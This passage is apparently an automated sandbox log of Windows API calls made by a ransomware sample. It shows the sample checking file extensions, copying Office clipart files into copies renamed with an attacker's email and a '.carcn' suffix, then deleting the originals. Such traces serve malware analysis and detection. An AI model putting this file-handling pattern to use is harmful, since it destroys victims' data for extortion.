[0302.009] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0302.010] lstrlenW (lpString=".jpg") returned 4 [0302.010] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.011] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.011] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0302.012] GetLastError () returned 0x0 [0302.012] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x83c, lpOverlapped=0x0) returned 1 [0302.013] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x840, lpOverlapped=0x0) returned 1 [0302.014] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.014] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.014] SetEndOfFile (hFile=0x340) returned 1 [0302.014] CloseHandle (hObject=0x340) returned 1 [0302.015] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.015] SetEndOfFile (hFile=0x350) returned 1 [0302.016] CloseHandle (hObject=0x350) returned 1 [0302.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.016] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf")) returned 1 [0302.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0302.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0302.016] lstrlenW (lpString=".doc") returned 4 [0302.016] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.016] lstrlenW (lpString=".docx") returned 5 [0302.017] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.017] lstrlenW (lpString=".pdf") returned 4 [0302.017] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.017] lstrlenW (lpString=".xls") returned 4 [0302.017] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.017] lstrlenW (lpString=".xlsx") returned 5 [0302.017] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.017] lstrlenW (lpString=".ppt") returned 4 [0302.017] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0302.017] lstrlenW (lpString=".zip") returned 4 [0302.017] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.017] lstrlenW (lpString=".rar") returned 4 [0302.017] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.017] lstrlenW (lpString=".bz2") returned 4 [0302.017] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.017] lstrlenW (lpString=".7z") returned 3 [0302.017] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0302.017] lstrlenW (lpString=".dbf") returned 4 [0302.017] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0302.017] lstrlenW (lpString=".1cd") returned 4 [0302.017] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0302.017] lstrlenW (lpString=".jpg") returned 4 [0302.017] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.018] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.018] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0302.019] GetLastError () returned 0x0 [0302.019] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x13ea, lpOverlapped=0x0) returned 1 [0302.020] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x13f0, lpOverlapped=0x0) returned 1 [0302.021] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.021] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.021] SetEndOfFile (hFile=0x340) returned 1 [0302.022] CloseHandle (hObject=0x340) returned 1 [0302.022] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.022] SetEndOfFile (hFile=0x350) returned 1 [0302.023] CloseHandle (hObject=0x350) returned 1 [0302.023] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.023] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 1 [0302.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0302.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0302.024] lstrlenW (lpString=".doc") returned 4 [0302.024] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.024] lstrlenW (lpString=".docx") returned 5 [0302.024] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.024] lstrlenW (lpString=".pdf") returned 4 [0302.024] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.024] lstrlenW (lpString=".xls") returned 4 [0302.024] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.024] lstrlenW (lpString=".xlsx") returned 5 [0302.024] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.024] lstrlenW (lpString=".ppt") returned 4 [0302.025] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0302.025] lstrlenW (lpString=".zip") returned 4 [0302.025] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.025] lstrlenW (lpString=".rar") returned 4 [0302.025] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.025] lstrlenW (lpString=".bz2") returned 4 [0302.025] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.025] lstrlenW (lpString=".7z") returned 3 [0302.025] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0302.025] lstrlenW (lpString=".dbf") returned 4 [0302.025] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0302.025] lstrlenW (lpString=".1cd") returned 4 [0302.025] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0302.025] lstrlenW (lpString=".jpg") returned 4 [0302.025] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.026] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.026] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0302.027] GetLastError () returned 0x0 [0302.027] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x22de, lpOverlapped=0x0) returned 1 [0302.313] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x22e0, lpOverlapped=0x0) returned 1 [0302.314] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.314] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.314] SetEndOfFile (hFile=0x340) returned 1 [0302.501] CloseHandle (hObject=0x340) returned 1 [0302.501] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.501] SetEndOfFile (hFile=0x350) returned 1 [0302.502] CloseHandle (hObject=0x350) returned 1 [0302.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.502] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 1 [0302.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0302.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0302.503] lstrlenW (lpString=".doc") returned 4 [0302.503] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.503] lstrlenW (lpString=".docx") returned 5 [0302.503] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.503] lstrlenW (lpString=".pdf") returned 4 [0302.503] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.503] lstrlenW (lpString=".xls") returned 4 [0302.503] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.503] lstrlenW (lpString=".xlsx") returned 5 [0302.503] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.503] lstrlenW (lpString=".ppt") returned 4 [0302.503] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0302.503] lstrlenW (lpString=".zip") returned 4 [0302.503] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.503] lstrlenW (lpString=".rar") returned 4 [0302.503] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.503] lstrlenW (lpString=".bz2") returned 4 [0302.503] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.503] lstrlenW (lpString=".7z") returned 3 [0302.503] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0302.503] lstrlenW (lpString=".dbf") returned 4 [0302.503] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0302.503] lstrlenW (lpString=".1cd") returned 4 [0302.503] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0302.503] lstrlenW (lpString=".jpg") returned 4 [0302.503] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.504] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.504] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0302.504] GetLastError () returned 0x0 [0302.504] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x76ce, lpOverlapped=0x0) returned 1 [0302.505] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x76d0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x76d0, lpOverlapped=0x0) returned 1 [0302.506] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.507] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.507] SetEndOfFile (hFile=0x340) returned 1 [0302.507] CloseHandle (hObject=0x340) returned 1 [0302.507] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.507] SetEndOfFile (hFile=0x350) returned 1 [0302.508] CloseHandle (hObject=0x350) returned 1 [0302.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.508] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf")) returned 1 [0302.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0302.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0302.508] lstrlenW (lpString=".doc") returned 4 [0302.508] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.509] lstrlenW (lpString=".docx") returned 5 [0302.509] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.509] lstrlenW (lpString=".pdf") returned 4 [0302.509] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.509] lstrlenW (lpString=".xls") returned 4 [0302.509] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.509] lstrlenW (lpString=".xlsx") returned 5 [0302.509] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.509] lstrlenW (lpString=".ppt") returned 4 [0302.509] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0302.509] lstrlenW (lpString=".zip") returned 4 [0302.509] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.509] lstrlenW (lpString=".rar") returned 4 [0302.509] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.509] lstrlenW (lpString=".bz2") returned 4 [0302.509] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.509] lstrlenW (lpString=".7z") returned 3 [0302.509] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0302.509] lstrlenW (lpString=".dbf") returned 4 [0302.509] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0302.509] lstrlenW (lpString=".1cd") returned 4 [0302.509] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0302.509] lstrlenW (lpString=".jpg") returned 4 [0302.509] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.509] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.509] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0302.510] GetLastError () returned 0x0 [0302.510] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x4604, lpOverlapped=0x0) returned 1 [0302.511] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x4610, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x4610, lpOverlapped=0x0) returned 1 [0302.512] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.512] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.512] SetEndOfFile (hFile=0x340) returned 1 [0302.513] CloseHandle (hObject=0x340) returned 1 [0302.513] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.513] SetEndOfFile (hFile=0x350) returned 1 [0302.513] CloseHandle (hObject=0x350) returned 1 [0302.513] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.514] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf")) returned 1 [0302.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0302.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0302.514] lstrlenW (lpString=".doc") returned 4 [0302.514] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.514] lstrlenW (lpString=".docx") returned 5 [0302.514] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.514] lstrlenW (lpString=".pdf") returned 4 [0302.514] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.514] lstrlenW (lpString=".xls") returned 4 [0302.514] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.514] lstrlenW (lpString=".xlsx") returned 5 [0302.514] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.514] lstrlenW (lpString=".ppt") returned 4 [0302.514] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0302.514] lstrlenW (lpString=".zip") returned 4 [0302.514] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.514] lstrlenW (lpString=".rar") returned 4 [0302.515] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.515] lstrlenW (lpString=".bz2") returned 4 [0302.515] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.515] lstrlenW (lpString=".7z") returned 3 [0302.515] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0302.515] lstrlenW (lpString=".dbf") returned 4 [0302.515] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0302.515] lstrlenW (lpString=".1cd") returned 4 [0302.515] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0302.515] lstrlenW (lpString=".jpg") returned 4 [0302.515] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.515] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.515] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0302.516] GetLastError () returned 0x0 [0302.516] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x79cc, lpOverlapped=0x0) returned 1 [0302.517] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x79d0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x79d0, lpOverlapped=0x0) returned 1 [0302.519] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.519] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) 